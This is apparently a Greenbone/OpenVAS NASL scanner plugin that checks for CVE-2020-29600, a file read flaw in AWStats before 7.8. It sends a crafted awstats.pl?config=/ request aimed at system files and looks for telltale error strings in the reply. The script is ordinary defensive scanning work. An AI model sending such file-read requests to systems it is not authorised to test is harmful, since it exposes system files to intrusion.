AWStats < 7.8 File Read Vulnerability

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CPE = "cpe:/a:awstats:awstats";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.145066");
  script_version("2021-08-16T09:00:57+0000");
  script_tag(name:"last_modification", value:"2021-08-16 09:00:57 +0000 (Mon, 16 Aug 2021)");
  script_tag(name:"creation_date", value:"2020-12-18 03:00:17 +0000 (Fri, 18 Dec 2020)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-03-04 20:52:00 +0000 (Thu, 04 Mar 2021)");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"VendorFix");

  script_cve_id("CVE-2020-29600");

  script_name("AWStats < 7.8 File Read Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2020 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("awstats_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("awstats/installed");

  script_tag(name:"summary", value:"AWStats is prone to a file read vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"In AWStats cgi-bin/awstats.pl?config= accepts an absolute pathname, even
  though it was intended to only read a file in the /etc/awstats/awstats.conf format. NOTE: this issue exists
  because of an incomplete fix for CVE-2017-1000501.");

  script_tag(name:"affected", value:"AWStats 7.7 and prior.");

  script_tag(name:"solution", value:"Update to Version 7.8 or later.");

  script_xref(name:"URL", value:"https://github.com/eldy/awstats/issues/90");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach pattern(keys(files)) {

  file = files[pattern];

  url = dir + "/awstats.pl?config=/" + file;

  if (http_vuln_check(port: port, url: url, pattern: "/" + file, check_header: TRUE,
                      extra_check: make_list("Warning: Syntax error line", "file, web server or permissions) may be wrong."))) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);